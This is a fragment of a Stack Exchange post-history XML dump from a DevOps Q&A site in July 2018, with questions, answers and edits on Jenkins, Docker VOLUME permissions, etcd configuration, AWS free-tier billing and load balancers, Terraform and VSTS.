  <row Id="14212" PostHistoryTypeId="50" PostId="4312" RevisionGUID="919351e4-ff6e-403f-8bf8-835266230f84" CreationDate="2018-07-18T02:26:18.240" UserId="-1" />
  <row Id="14213" PostHistoryTypeId="50" PostId="3552" RevisionGUID="270afefa-ecf6-46d8-8b2a-4c6201e8f089" CreationDate="2018-07-18T03:26:17.540" UserId="-1" />
  <row Id="14214" PostHistoryTypeId="5" PostId="4497" RevisionGUID="86a2b012-ef1a-43cb-8608-169b3d136b08" CreationDate="2018-07-18T04:53:31.757" UserId="8744" Comment="added 90 characters in body" Text="you can add role like below &#xD;&#xA;&#xD;&#xA;    role = &quot;${aws_iam_role.ec2_role_name.name}&quot;&#xD;&#xA;&#xD;&#xA;Please check - https://www.terraform.io/docs/providers/aws/r/iam_instance_profile.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14218" PostHistoryTypeId="2" PostId="4533" RevisionGUID="43aa051a-7f50-4d42-b7f9-9749fb52fd5b" CreationDate="2018-07-18T06:45:27.870" UserId="8808" Text="&lt;u&gt;&lt;b&gt;I would like to add my 2 cents:&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&#xD;&#xA;&lt;b&gt;1) *Automation*:&lt;/b&gt; &lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Something that we are nowadays having to move towards. It has become more of a necessity wherein the preferred way would be to automate pieces, if not the entire process. This approach gives the users (developers) flexibility to use a fixed step along with being able to customize as needed.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The advantage in this approach is that we can automate the parts that we want to while the individual process can be tied together by the developer. The more granularized the automation steps, the better control they have.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Also, there are many tools for automation in spaces like robotic automation, SOP automation (for servicing industry), report automation (like Splunk), etc.&lt;br/&gt;&#xD;&#xA;&lt;b&gt;2) *DevOps*:&lt;/b&gt; &lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Given the state of delivery quality and timeliness that is being expected out of the current world, there is a necessity to extend automation of the software delivery process. To enable this and provide value to the customer in the fastest way possible, DevOps does extensively rely on automation tools.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The advantage in this approach is that, the individual steps can be automated to bring about consistency across enterprise while the overall orchestration can be modified to suit the process needed by that project.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The individual automation tools (in a way) like Chef for deployment, Docker via Dockerfile, Maven for build, etc. can be tied together probably via Jenkins to provide the required solution while at the same time bringing down the time needed for implementation or usage.&lt;br/&gt;&#xD;&#xA;Hope this helps to add any value to the thought process that you may already have." ContentLicense="CC BY-SA 4.0" />
  <row Id="14219" PostHistoryTypeId="5" PostId="4533" RevisionGUID="d203f794-177e-4b18-9478-5822eea1d060" CreationDate="2018-07-18T06:53:28.320" UserId="8808" Comment="Added the 'People' aspect of DevOps." Text="&lt;u&gt;&lt;b&gt;I would like to add my 2 cents:&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&#xD;&#xA;&lt;b&gt;1) *Automation*:&lt;/b&gt; &lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Something that we are nowadays having to move towards. It has become more of a necessity wherein the preferred way would be to automate pieces, if not the entire process. This approach gives the users (developers) flexibility to use a fixed step along with being able to customize as needed.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The advantage in this approach is that we can automate the parts that we want to while the individual process can be tied together by the developer. The more granularized the automation steps, the better control they have.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Also, there are many tools for automation in spaces like robotic automation, SOP automation (for servicing industry), report automation (like Splunk), etc.&lt;br/&gt;&#xD;&#xA;&lt;b&gt;2) *DevOps*:&lt;/b&gt; &lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Given the state of delivery quality and timeliness that is being expected out of the current world, there is a necessity to extend automation of the software delivery process. To enable this and provide value to the customer in the fastest way possible, DevOps does extensively rely on automation tools.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The advantage in this approach is that, the individual steps can be automated to bring about consistency across enterprise while the overall orchestration can be modified to suit the process needed by that project.&lt;br/&gt;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The individual automation tools (in a way) like Chef for deployment, Docker via Dockerfile, Maven for build, etc. can be tied together probably via Jenkins to provide the required solution while at the same time bringing down the time needed for implementation or usage.&lt;br/&gt;&#xD;&#xA;Hope this helps to add any value to the thought process that you may already have.  &#xD;&#xA;&lt;br/&gt;&#xD;&#xA;**Edit:** Forgot to add that I had talked about the Process and Tools - 2 of the 3 aspects in DevOps. As mentioned by the others, the 3rd and equally important aspect is People. One of the major differences I would assume between this and automation would be that people are more prone to absorb automation more frequently than they would resist DevOps. I feel that this is due to the nature of DevOps itself, in that automation is usually associated with making things easier for them, while they feel that DevOps is changing the way that they are comfortable with." ContentLicense="CC BY-SA 4.0" />
  <row Id="14221" PostHistoryTypeId="2" PostId="4534" RevisionGUID="eeef4eeb-be4c-4a87-b49a-67d76a8dcf54" CreationDate="2018-07-18T08:04:36.897" UserId="8818" Text="We have a Jenkins setup which utilizes multiple projects for running various suites of tests for our application.&#xD;&#xA;&#xD;&#xA;There is one 'parent' project, which is triggered by Git commits. This project in turn builds our 'child' project. Each child projects runs a series of defined tests.&#xD;&#xA;&#xD;&#xA;Each project is setup with JUnit to output onto the build page the results of the tests.&#xD;&#xA;&#xD;&#xA;In order to get a comprehensive view of commits across our entire project, you need to go to the build page of EACH of our 'child' projects to see the results.&#xD;&#xA;&#xD;&#xA;What I would like to do is aggregate ALL the JUnit reports, from builds triggered by out 'parent' project across all the 'child' projects to one place so we can view all the test results together.&#xD;&#xA;&#xD;&#xA;Does anyone have experience with something like this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="14222" PostHistoryTypeId="1" PostId="4534" RevisionGUID="eeef4eeb-be4c-4a87-b49a-67d76a8dcf54" CreationDate="2018-07-18T08:04:36.897" UserId="8818" Text="Aggregating JUnit test results from multiple projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="14223" PostHistoryTypeId="3" PostId="4534" RevisionGUID="eeef4eeb-be4c-4a87-b49a-67d76a8dcf54" CreationDate="2018-07-18T08:04:36.897" UserId="8818" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14224" PostHistoryTypeId="50" PostId="4322" RevisionGUID="f4620cd3-bb3d-4422-aff0-247bb8cd4859" CreationDate="2018-07-18T10:26:27.543" UserId="-1" />
  <row Id="14225" PostHistoryTypeId="2" PostId="4535" RevisionGUID="3502110a-e7fd-49f4-9951-4d149c874238" CreationDate="2018-07-18T11:22:45.523" UserId="8621" Text="I managed to fix it. First I disabled and deleted all `etcd2`-related units. Then I created a new dropin to the `etcd-member.service` with the following content:&#xD;&#xA;&#xD;&#xA;    [Service]&#xD;&#xA;    Environment=&quot;ETCD_OPTS=--name cluster00 \&#xD;&#xA;      --discovery https://discovery.etcd.io/&lt;MY_ID&gt; \&#xD;&#xA;      --listen-client-urls http://&lt;NODE_IP&gt;:2379,http://127.0.0.1:2379 \&#xD;&#xA;      --listen-peer-urls http://&lt;NODE_IP&gt;:2380 \&#xD;&#xA;      --advertise-client-urls http://&lt;NODE_IP&gt;:2379 \&#xD;&#xA;      --initial-advertise-peer-urls http://&lt;NODE_IP&gt;:2380&quot;&#xD;&#xA;&#xD;&#xA;I generated a new discovery id for the cluster.&#xD;&#xA;&#xD;&#xA;Then I teared down the old cluster completely, by deleting all content of `/var/lib/etcd/*` and the directory `/var/lib/etcd2` completely and (re-)started the etcd-member service.&#xD;&#xA;&#xD;&#xA;Be aware, that I don't have ssl enabled at this point!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14229" PostHistoryTypeId="2" PostId="4537" RevisionGUID="ec55b44e-ca2f-49a2-8099-374b7bc56417" CreationDate="2018-07-18T13:42:47.360" UserId="8544" Text="Assuming there are no changes in Master that are not in your release branch and you don't rebuild after you merge the code then you could deploy first and then merge to master.  If either of those are not true, then merging first would be more common.  &#xD;&#xA;&#xD;&#xA;The process depends on how you handle your branching strategy.  If other things could be merged into master that are not part of the release branch then you need to merge first and rerun the pipeline of tests.  If master represents production and all new work is now in the release branch then yes, you can deploy then push, or do them as a step in the pipeline assuming the deploy is successful then do the merge.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14233" PostHistoryTypeId="2" PostId="4539" RevisionGUID="e988b5c8-d3fe-4022-9c44-030f75ea853e" CreationDate="2018-07-18T19:26:04.597" UserId="8832" Text="If you are able to use gradle, maybe use something like mentioned here:&#xD;&#xA;&#xD;&#xA;[Multi-module projects](https://github.com/codecov/example-gradle)&#xD;&#xA;or&#xD;&#xA;[this](https://csiebler.github.io/blog/2014/02/09/multi-project-code-coverage-using-gradle-and-jacoco)&#xD;&#xA;&#xD;&#xA;Also you'll get coverage :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14234" PostHistoryTypeId="50" PostId="3916" RevisionGUID="9d0f9514-f3ad-41c2-896d-d6f5118d932e" CreationDate="2018-07-18T19:27:32.693" UserId="-1" />
  <row Id="14235" PostHistoryTypeId="50" PostId="4176" RevisionGUID="00a9dd44-c558-4384-9e9c-710f64f4e46d" CreationDate="2018-07-18T20:27:53.120" UserId="-1" />
  <row Id="14236" PostHistoryTypeId="2" PostId="4540" RevisionGUID="d9cc4f5d-c4d7-4242-a398-3996749d1bee" CreationDate="2018-07-18T23:13:52.017" UserId="3" Text="I've got the following `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:xenial&#xD;&#xA;    RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;    WORKDIR /home/ubuntu&#xD;&#xA;    USER ubuntu&#xD;&#xA;    RUN whoami&#xD;&#xA;    VOLUME /opt/myvolume&#xD;&#xA;&#xD;&#xA;Which I built it:&#xD;&#xA;&#xD;&#xA;    $ docker build -t vol-test .&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/6 : FROM ubuntu:xenial&#xD;&#xA;     ---&gt; 0b1edfbffd27&#xD;&#xA;    Step 2/6 : RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; d82e3ecc5fe8&#xD;&#xA;    Step 3/6 : WORKDIR /home/ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; ab1db29ee8bf&#xD;&#xA;    Step 4/6 : USER ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 129393a35d9e&#xD;&#xA;    Step 5/6 : RUN whoami&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; f38fda785027&#xD;&#xA;    Step 6/6 : VOLUME /opt/myvolume&#xD;&#xA;     ---&gt; Running in a7d0c7722f49&#xD;&#xA;    Removing intermediate container a7d0c7722f49&#xD;&#xA;     ---&gt; d6f84acc9db0&#xD;&#xA;    Successfully built d6f84acc9db0&#xD;&#xA;    Successfully tagged vol-test:latest&#xD;&#xA;&#xD;&#xA;However, when run, the `/opt/myvolume` directory is owned by `root`, not `ubuntu`:&#xD;&#xA;&#xD;&#xA;    $ docker run vol-test id&#xD;&#xA;    uid=1000(ubuntu) gid=0(root) groups=0(root),27(sudo)&#xD;&#xA;    $ docker run vol-test find /opt/myvolume -ls&#xD;&#xA;        66659      4 drwxr-xr-x   2 root     root         4096 Jul 18 23:02 /opt/myvolume&#xD;&#xA;    $ docker run -u ubuntu vol-test find /opt/myvolume -ls&#xD;&#xA;        66940      4 drwxr-xr-x   2 root     root         4096 Jul 18 23:12 /opt/myvolume&#xD;&#xA;&#xD;&#xA;because it's created during the run.&#xD;&#xA;&#xD;&#xA;Is it possible to define or change the default owner of `VOLUME` directory in `Dockerfile`?&#xD;&#xA;&#xD;&#xA;I'm running it on macOS and Linux." ContentLicense="CC BY-SA 4.0" />
  <row Id="14237" PostHistoryTypeId="1" PostId="4540" RevisionGUID="d9cc4f5d-c4d7-4242-a398-3996749d1bee" CreationDate="2018-07-18T23:13:52.017" UserId="3" Text="How to change the owner of VOLUME directory in Dockerfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14238" PostHistoryTypeId="3" PostId="4540" RevisionGUID="d9cc4f5d-c4d7-4242-a398-3996749d1bee" CreationDate="2018-07-18T23:13:52.017" UserId="3" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14239" PostHistoryTypeId="5" PostId="4540" RevisionGUID="3d32df59-fae3-44cb-85e2-4e125f74d7fa" CreationDate="2018-07-18T23:26:10.633" UserId="3" Comment="Make it shoter" Text="I've got the following `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:xenial&#xD;&#xA;    RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;    WORKDIR /home/ubuntu&#xD;&#xA;    USER ubuntu&#xD;&#xA;    VOLUME /opt/myvolume&#xD;&#xA;&#xD;&#xA;Which I built it:&#xD;&#xA;&#xD;&#xA;    $ docker build -t vol-test .&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/5 : FROM ubuntu:xenial&#xD;&#xA;     ---&gt; 0b1edfbffd27&#xD;&#xA;    Step 2/5 : RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; d82e3ecc5fe8&#xD;&#xA;    Step 3/5 : WORKDIR /home/ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; ab1db29ee8bf&#xD;&#xA;    Step 4/5 : USER ubuntu&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 129393a35d9e&#xD;&#xA;    Step 5/5 : VOLUME /opt/myvolume&#xD;&#xA;     ---&gt; Running in 691a4cbd077e&#xD;&#xA;    Removing intermediate container 691a4cbd077e&#xD;&#xA;     ---&gt; 11bc9e9db9d3&#xD;&#xA;    Successfully built 11bc9e9db9d3&#xD;&#xA;    Successfully tagged vol-test:latest&#xD;&#xA;&#xD;&#xA;However, when run, the `/opt/myvolume` directory is owned by `root`, not `ubuntu`:&#xD;&#xA;&#xD;&#xA;    $ docker run vol-test id&#xD;&#xA;    uid=1000(ubuntu) gid=0(root) groups=0(root),27(sudo)&#xD;&#xA;    $ docker run vol-test find /opt/myvolume -ls&#xD;&#xA;        66659      4 drwxr-xr-x   2 root     root         4096 Jul 18 23:02 /opt/myvolume&#xD;&#xA;    $ docker run -u ubuntu vol-test find /opt/myvolume -ls&#xD;&#xA;        66940      4 drwxr-xr-x   2 root     root         4096 Jul 18 23:12 /opt/myvolume&#xD;&#xA;&#xD;&#xA;because it's created during the run.&#xD;&#xA;&#xD;&#xA;Is it possible to define or change the default owner of `VOLUME` directory in `Dockerfile`?&#xD;&#xA;&#xD;&#xA;I'm running it on macOS and Linux." ContentLicense="CC BY-SA 4.0" />
  <row Id="14240" PostHistoryTypeId="5" PostId="3291" RevisionGUID="b36826c0-1941-4ede-8834-df5636ab83ac" CreationDate="2018-07-18T23:27:40.430" UserId="3" Comment="added 2 characters in body" Text="You can use `aws ec2 describe-instances` instead, you can specify the id `--instance-ids &lt;value&gt;` and it will output the security group." ContentLicense="CC BY-SA 4.0" />
  <row Id="14241" PostHistoryTypeId="50" PostId="1821" RevisionGUID="a050be72-74cc-4557-a8f3-2310bd6ae25d" CreationDate="2018-07-19T04:28:33.373" UserId="-1" />
  <row Id="14242" PostHistoryTypeId="2" PostId="4541" RevisionGUID="01c2f4f6-36ce-4cdc-8c4b-f22001652a17" CreationDate="2018-07-19T05:34:05.190" UserId="8841" Text="As I found may be this will helps you. With this you can fetch latest successful build change log file of any project build with Jenkins. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $DirectoryA = &quot;D:\Jenkins\jobs\projectName\builds&quot;  ####Jenkind directory&#xD;&#xA;    $firstfolder = Get-ChildItem -Path $DirectoryA | Where-Object {$_.PSIsContainer} | Sort-Object LastWriteTime -Descending | Select-Object -First 1&#xD;&#xA;    $DirectoryB = $DirectoryA + &quot;\&quot; + $firstfolder&#xD;&#xA;    &#xD;&#xA;    $sVnLoGfIle = $DirectoryB + &quot;\&quot; + &quot;changelog.xml&quot; &#xD;&#xA;    &#xD;&#xA;    write-host $sVnLoGfIle&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14243" PostHistoryTypeId="2" PostId="4542" RevisionGUID="0cdbbb93-5eec-48f8-9031-1904ab466bb9" CreationDate="2018-07-19T07:25:55.653" UserId="13" Text="As stated in the [documentation](https://docs.docker.com/engine/reference/builder/#volume), VOLUME instruction inherits the directory content and permissions existing in the container, so you can workaround the problem with a dockerfile like this:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:xenial&#xD;&#xA;    RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;    RUN mkdir /opt/myvolume  &amp;&amp; chown ubuntu /opt/myvolume&#xD;&#xA;    WORKDIR /home/ubuntu&#xD;&#xA;    VOLUME /opt/myvolume&#xD;&#xA;&#xD;&#xA;the creation of the directory has to be done as root (to be able to write within /opt), the USER directive serve no purpose for VOLUME so I have removed it, adapt with your needs.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14244" PostHistoryTypeId="12" PostId="4542" RevisionGUID="01fd730d-3966-4d7b-9291-3b76ae6b0c91" CreationDate="2018-07-19T07:36:10.430" UserId="13" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14245" PostHistoryTypeId="13" PostId="4542" RevisionGUID="6e9799c5-e9f0-4f3d-b71d-ed952ccf2303" CreationDate="2018-07-19T07:43:34.863" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14246" PostHistoryTypeId="5" PostId="4542" RevisionGUID="6dc38e2a-1fa7-47c3-b36c-0da8e4c4171a" CreationDate="2018-07-19T07:45:26.340" UserId="13" Comment="added 96 characters in body" Text="As stated in the [documentation](https://docs.docker.com/engine/reference/builder/#volume), VOLUME instruction inherits the directory content and permissions existing in the container, so you can workaround the problem with a dockerfile like this:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:xenial&#xD;&#xA;    RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;    RUN mkdir /opt/myvolume  &amp;&amp; chown ubuntu /opt/myvolume&#xD;&#xA;    WORKDIR /home/ubuntu&#xD;&#xA;    VOLUME /opt/myvolume&#xD;&#xA;&#xD;&#xA;The creation of the directory has to be done as root (to be able to write within /opt)." ContentLicense="CC BY-SA 4.0" />
  <row Id="14247" PostHistoryTypeId="12" PostId="4542" RevisionGUID="813423d2-5265-4897-a440-aa2b2f0a014b" CreationDate="2018-07-19T07:45:29.650" UserId="13" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14248" PostHistoryTypeId="13" PostId="4542" RevisionGUID="c2627e3f-648f-4c65-b01d-9deca4e51b1b" CreationDate="2018-07-19T07:50:42.850" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14275" PostHistoryTypeId="2" PostId="4546" RevisionGUID="c0296972-5b43-43d2-9f7c-5d55c9ccf703" CreationDate="2018-07-19T13:04:58.270" UserId="8853" Text="I have an issue with amazon free tier account, I have deployed two EC2 instances (1 linux and 1 windows) on amazon each having 30GB of storage which is permissible under free tier, these instances are continuously running 24/7 so that they are always available,what I don't understand is that starting last month I have had charges to my account for exceeding cloud storage usage that have left me confused.&#xD;&#xA;&#xD;&#xA;I have read details on [Free Tier][1] more than 5 times but I still can't understand what I'm doing wrong, checked the Cost Explorer, the only thing that comes to mind is perhaps the 30GB is applied universally for all instances but I am not sure as I don't know how my account usage is calculated. I have tried contacting support assistant but I am yet to receive any response from them.&#xD;&#xA;&#xD;&#xA;I would really appreciate if someone helped set some things straight because I have hit a wall with this one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/free" ContentLicense="CC BY-SA 4.0" />
  <row Id="14276" PostHistoryTypeId="1" PostId="4546" RevisionGUID="c0296972-5b43-43d2-9f7c-5d55c9ccf703" CreationDate="2018-07-19T13:04:58.270" UserId="8853" Text="Why does amazon charge for free tier usage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14277" PostHistoryTypeId="3" PostId="4546" RevisionGUID="c0296972-5b43-43d2-9f7c-5d55c9ccf703" CreationDate="2018-07-19T13:04:58.270" UserId="8853" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;billing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14278" PostHistoryTypeId="2" PostId="4547" RevisionGUID="8922c728-2de5-4757-aefc-0125bc6595c7" CreationDate="2018-07-19T13:20:30.467" UserId="3533" Text="There is no EC2 under always free tier, only under 12 months free tier." ContentLicense="CC BY-SA 4.0" />
  <row Id="14279" PostHistoryTypeId="2" PostId="4548" RevisionGUID="6917be12-f26d-49f5-be5f-5f7ebce19b84" CreationDate="2018-07-19T14:19:55.520" UserId="4613" Text="My senario is this:&#xD;&#xA;&#xD;&#xA;I am using 2 EC2 instances which I want reachable via urls as follows:&#xD;&#xA;&#xD;&#xA;    sub1.domain.com&#xD;&#xA;    sub2.domain.com&#xD;&#xA;&#xD;&#xA;I am aware of the fact that AWS Application Load Balancers currently support [host based routing][1] so I guess this is now feasible.&#xD;&#xA;&#xD;&#xA;Currently I am using 2 __Classic__ Load Balancers on AWS to support access to those instances;&#xD;&#xA;&#xD;&#xA;Is there a reason for me to switch to the host-based routing scenario of ALBs?&#xD;&#xA;&#xD;&#xA;Perhaps the motive for this question is silly, but lately Amazon in its console, has grayed out the Classic ELB and marked it as &#xD;&#xA;&#xD;&#xA;&gt; Previous Generation&#xD;&#xA;&#xD;&#xA;(I guess this wouldn't be a strong motive but it kind of discourages you a bit from using Classic ELBs henceforth...)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. Haven't got the chance to test it, but I assume if I have issued an AWS wildcard certificate for `*.domain.com`, this would cover all target groups (i.e. hosts) under the ALB, right?&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-host-based-routing-support-for-aws-application-load-balancers/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14280" PostHistoryTypeId="1" PostId="4548" RevisionGUID="6917be12-f26d-49f5-be5f-5f7ebce19b84" CreationDate="2018-07-19T14:19:55.520" UserId="4613" Text="AWS: Application vs Classic Load Balancer" ContentLicense="CC BY-SA 4.0" />
  <row Id="14281" PostHistoryTypeId="3" PostId="4548" RevisionGUID="6917be12-f26d-49f5-be5f-5f7ebce19b84" CreationDate="2018-07-19T14:19:55.520" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14282" PostHistoryTypeId="2" PostId="4549" RevisionGUID="e5418b5f-f42b-4bda-a121-65c724b67350" CreationDate="2018-07-19T18:46:02.863" UserId="4175" Text="My free tier account uses 30ish GB for in a VM, and I am getting a warning that I am approaching the GB limit (which I am), since day one.&#xD;&#xA;&#xD;&#xA;For me, although I'm not a native speaker, the  [description][1] ...&#xD;&#xA;&#xD;&#xA;    STORAGE &amp; CONTENT DELIVERY   &#xD;&#xA;    Amazon Elastic Block Storage&#xD;&#xA;    30 GB&#xD;&#xA;&#xD;&#xA;    any combination of General Purpose (SSD) or Magnetic&#xD;&#xA;&#xD;&#xA;    Persistent, durable, low-latency block-level storage volumes for EC2 &#xD;&#xA;    instances&#xD;&#xA;&#xD;&#xA;...also seems pretty straightforward: 30 GB for your volumes for your instances. &#xD;&#xA;Summed up, not &quot;per&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/free/?awsf.Free%20Tier%20Types=categories%2312monthsfree" ContentLicense="CC BY-SA 4.0" />
  <row Id="14283" PostHistoryTypeId="2" PostId="4550" RevisionGUID="8582903d-1b26-43b3-bc02-69ad545e7c1b" CreationDate="2018-07-19T19:03:21.400" UserId="6484" Text="I have a Jenkins Pipeline which uses Terraform and create a compute environment in GCP. There are like 5 questions in the build i.e.&#xD;&#xA;&#xD;&#xA;    1) GCP Project Name&#xD;&#xA;    2) Number of RHEL Servers&#xD;&#xA;    3) RHEL Server names&#xD;&#xA;    4) Number of CentOS Servers&#xD;&#xA;    5) CentOS Server names&#xD;&#xA;&#xD;&#xA;This is a standard build job and users cannot build servers if not using this build.&#xD;&#xA;&#xD;&#xA;The problem is that when a user comes back to request more servers, they have to fill up all the details again. They have to remember all the values they passed previously.&#xD;&#xA;&#xD;&#xA;So that questions is: How do I make this user friendly without creating a separate build job for project and hard coding the values.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14284" PostHistoryTypeId="1" PostId="4550" RevisionGUID="8582903d-1b26-43b3-bc02-69ad545e7c1b" CreationDate="2018-07-19T19:03:21.400" UserId="6484" Text="Jenkins Pipeline job - remember previous values" ContentLicense="CC BY-SA 4.0" />
  <row Id="14285" PostHistoryTypeId="3" PostId="4550" RevisionGUID="8582903d-1b26-43b3-bc02-69ad545e7c1b" CreationDate="2018-07-19T19:03:21.400" UserId="6484" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14286" PostHistoryTypeId="5" PostId="4550" RevisionGUID="b6ee8b1c-4ca2-428e-8eef-4359de271e7b" CreationDate="2018-07-19T19:09:09.747" UserId="6484" Comment="added 9 characters in body" Text="I have a Jenkins Pipeline which uses Terraform and create a compute environment in GCP. There are like 5 questions in the build i.e.&#xD;&#xA;&#xD;&#xA;    1) GCP Project Name&#xD;&#xA;    2) Number of RHEL Servers&#xD;&#xA;    3) RHEL Server names&#xD;&#xA;    4) Number of CentOS Servers&#xD;&#xA;    5) CentOS Server names&#xD;&#xA;&#xD;&#xA;This is a standard build job and users cannot build servers if not using this build.&#xD;&#xA;&#xD;&#xA;The problem is that when a user comes back to request more servers, they have to fill up all the details again. They have to remember all the values they passed previously.&#xD;&#xA;&#xD;&#xA;So the questions is: How do I make this user friendly without creating a separate build job for each GCP project and hard coding the values.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14287" PostHistoryTypeId="2" PostId="4551" RevisionGUID="e3f20025-561b-45ff-b1a8-dd44aafc5c65" CreationDate="2018-07-19T19:19:32.357" UserId="736" Text="Depending on how long you keep builds for, the Rebuild option in the left hand sidebar will allow you rebuild a previous run of the job with the parameters intact. &#xD;&#xA;&#xD;&#xA;Simply find a previous build of the job that that particular user kicked off last time, click into it, then choose Rebuild from the sidebar. &#xD;&#xA;&#xD;&#xA;Again this will only work if Jenkins keeps enough builds. We save two weeks for a particular job and I have a coworker who saves a link directly to x build of the job, then once he rebuilds updates his link to the new one, etc. This way he can just open the link he has saved, click Rebuild, and he's good to go as long as he's inside that two week window.&#xD;&#xA;&#xD;&#xA;I believe you can even choose to `Keep this build forever` for a couple of your &quot;template&quot; builds, making them more easily accessible. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14288" PostHistoryTypeId="2" PostId="4552" RevisionGUID="779a9bd7-7a6e-487b-a86b-7e80fbfd19d1" CreationDate="2018-07-19T20:22:38.260" UserId="531" Text="1) you are using **2** classic ELBs instead of **1** ALB&#xD;&#xA;so costs savings can be a factor&#xD;&#xA;&#xD;&#xA;2) using a layer7 loadbalancer vs a layer4 gives many features and capabilities not possible otherwise&#xD;&#xA;&#xD;&#xA;you can see a comparrison here: &#xD;&#xA;https://aws.amazon.com/elasticloadbalancing/details/#compare&#xD;&#xA;&#xD;&#xA;3) yes that wildcard would fit all your needs (sub1/sub2.domain.com)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14291" PostHistoryTypeId="2" PostId="4553" RevisionGUID="0a9edc21-a21d-41d4-87d5-a5acf0f85353" CreationDate="2018-07-19T22:03:08.647" UserId="3062" Text="So I'm automating a process we currently have where we deploy a database and then have an exe that 'activates' the database.  The default values are different for each product and is determined by a cmd line arg.&#xD;&#xA;&#xD;&#xA;I've created 3 VSTS Release environments based on the hardware IO board for the environment.  How can I pass in this product flag at deploy time as it isn't dependent on the environment or release itself." ContentLicense="CC BY-SA 4.0" />
  <row Id="14292" PostHistoryTypeId="1" PostId="4553" RevisionGUID="0a9edc21-a21d-41d4-87d5-a5acf0f85353" CreationDate="2018-07-19T22:03:08.647" UserId="3062" Text="VSTS deployment variable" ContentLicense="CC BY-SA 4.0" />
